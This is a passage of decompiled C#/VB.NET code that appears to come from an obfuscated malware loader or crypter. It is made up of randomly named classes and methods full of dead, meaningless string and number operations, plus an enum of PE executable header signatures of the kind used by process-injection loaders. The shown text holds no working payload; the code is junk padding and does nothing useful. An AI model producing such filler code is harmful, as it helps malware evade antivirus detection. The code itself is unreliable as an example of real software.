"ETpthVWZQRutcCfsnWhXdC"; else str2 = str3; string Left = "vNRKIDXlXFKZYwUNptbHTu"; string str4 = "SuOJoipSjYieDuOWxPmHBc"; if (Operators.CompareString(Left, "iThdTJctAPRifpmnlZRGJU", false) == 0) str4 = Conversions.ToString(Conversions.ToDouble(str3) + 422047.0); else str4 = "POJiNIkCtrmKlIOTHJIZQL"; } private void xocsQfukTADEtgsNgocaRA() { int num1 = 208875; int num2 = 255395; int num3 = 353478; num3 = num1 != num2 ? 650544 : checked (num1 - num2 + 86459); string str1 = "xVZFKsYEhYQAzgNdoHfYFT"; string str2 = "HyTsVVLZwGQVKdJEwmGxCR"; if (Conversions.ToDouble(str1) > 0.0) str2 = "jAPCJswgSJBUkNPPXpQzPH"; else str2 = "zdRBrYmzWxORifxYERCJJr"; } } public class JfLUaVFOtnuOJnwEUAkhUzEIOoLV { public object YuVxlrZQcCfRrFnExoHdskvHibDT(string JhtUQLlIpXzFpQeJDjvWwOByJrBN) { string str1 = "gPNxznKgAJnisfNwkKhkokmCeJtI"; if (true) str1 = "LJcJpCktjOpApbCnNbJKspONJRxh"; string str2 = "vYaVgwkYxIHKarfsBaOXggJJxoTi"; string str3 = "oPLHQNSpOhAHcyUuPjyIETDCsoKF"; if (Conversions.ToDouble(str2) == 453536759.0) str3 = Conversions.ToString(1315218898); return (object) str3; } private void DsJBGmPhylfbkIvDnbUPNeRrUpQb() { string str1 = "muuzrBNTwUJxRpPsYSRBxUiHKAFO"; string str2 = "CLCmkGtuLdzJdlhmBODnkAYkReAb"; string str3 = "sbbzNlzBjgdOWCnTkayFnnlrBYhn"; if (false) str1 = "UBoZVxBcLTxQHPWwOZknXWnaRfWH"; else str2 = str3; string Left = "aIQfuPopeadmOHnkHNnaJaoUdDmu"; string str4 = "fNknCbJidGydrfcKYZGIHBgjYVVK"; if (Operators.CompareString(Left, "luQyhlXSsyzJBImgfHJpLogmjZPO", false) == 0) str4 = Conversions.ToString(Conversions.ToDouble(str3) + 757182250.0); else str4 = "SklSDFSKQxIudJtxeLmKbcGJTzyR"; } private void bzIYELtjPHDItPXBIEJfUQWzljbD() { int num1 = 947235358; int num2 = 755190472; int num3 = 499509791; num3 = num1 != num2 ? 288765759 : checked (num1 - num2 + 276087246); string str1 = "FJEghyPGtJVnGOaoFUQJnzlkJJUc"; string str2 = "goJrFiulhrPCNLLxzOSBOVHhyKms"; if (Conversions.ToDouble(str1) > 0.0) str2 = "pdJChdymmjwgTSuwQXJADWcFOdBl"; else str2 = "JPXiXPJfIYtQGTZFLTtiUEdHONxw"; } } public class jio898gufdfddf { private string uZ5vlQm5a83M97AfWF0182269hiKRgdsiud; private int BscM4uhz350ZQS6yAfEe7GEZ3aBA6uIc63l689U0c4Qb6ojgdikfd; private int sc4m3o1iAWf4Ugjgijgigd; public jio898gufdfddf() { this.uZ5vlQm5a83M97AfWF0182269hiKRgdsiud = "dfkodfpogjdf"; this.BscM4uhz350ZQS6yAfEe7GEZ3aBA6uIc63l689U0c4Qb6ojgdikfd = 0; this.sc4m3o1iAWf4Ugjgijgigd = 3465456; } private void dsfksgioj() { if (Conversions.ToDouble(this.uZ5vlQm5a83M97AfWF0182269hiKRgdsiud) > 0.0) checked { ++this.BscM4uhz350ZQS6yAfEe7GEZ3aBA6uIc63l689U0c4Qb6ojgdikfd; } else checked { this.sc4m3o1iAWf4Ugjgijgigd += 3259285; } } } private enum ImageSignatureTypes { IMAGE_OS2_SIGNATURE_LE = 17740, // 0x0000454C IMAGE_VXD_SIGNATURE = 17740, // 0x0000454C IMAGE_OS2_SIGNATURE = 17742, // 0x0000454E IMAGE_NT_SIGNATURE = 17744, // 0x00004550 IMAGE_DOS_SIGNATURE = 23117, // 0x00005A4D } public class kpfddfg9089df { private string c1k47u9544mwaLomlhJkvaCy9ro5a5N4DMniNV42jogdsiud; private int x49O28W85oPNS2x0mGzoUFZ547Ah4gWXwsrwWNWdIbY39jgdikfd; private int XOsrN0Z6TZ0F4UyWefI82QHBI69vy95Icargjgijgigd; public kpfddfg9089df() { this.c1k47u9544mwaLomlhJkvaCy9ro5a5N4DMniNV42jogdsiud = "dfkodfpogjdf"; this.x49O28W85oPNS2x0mGzoUFZ547Ah4gWXwsrwWNWdIbY39jgdikfd = 0; this.XOsrN0Z6TZ0F4UyWefI82QHBI69vy95Icargjgijgigd = 3465456; } private void dsfksgioj() { if (Conversions.ToDouble(this.c1k47u9544mwaLomlhJkvaCy9ro5a5N4DMniNV42jogdsiud) > 0.0) checked { ++this.x49O28W85oPNS2x0mGzoUFZ547Ah4gWXwsrwWNWdIbY39jgdikfd; } else checked { this.XOsrN0Z6TZ0F4UyWefI82QHBI69vy95Icargjgijgigd += 3259285; } } } }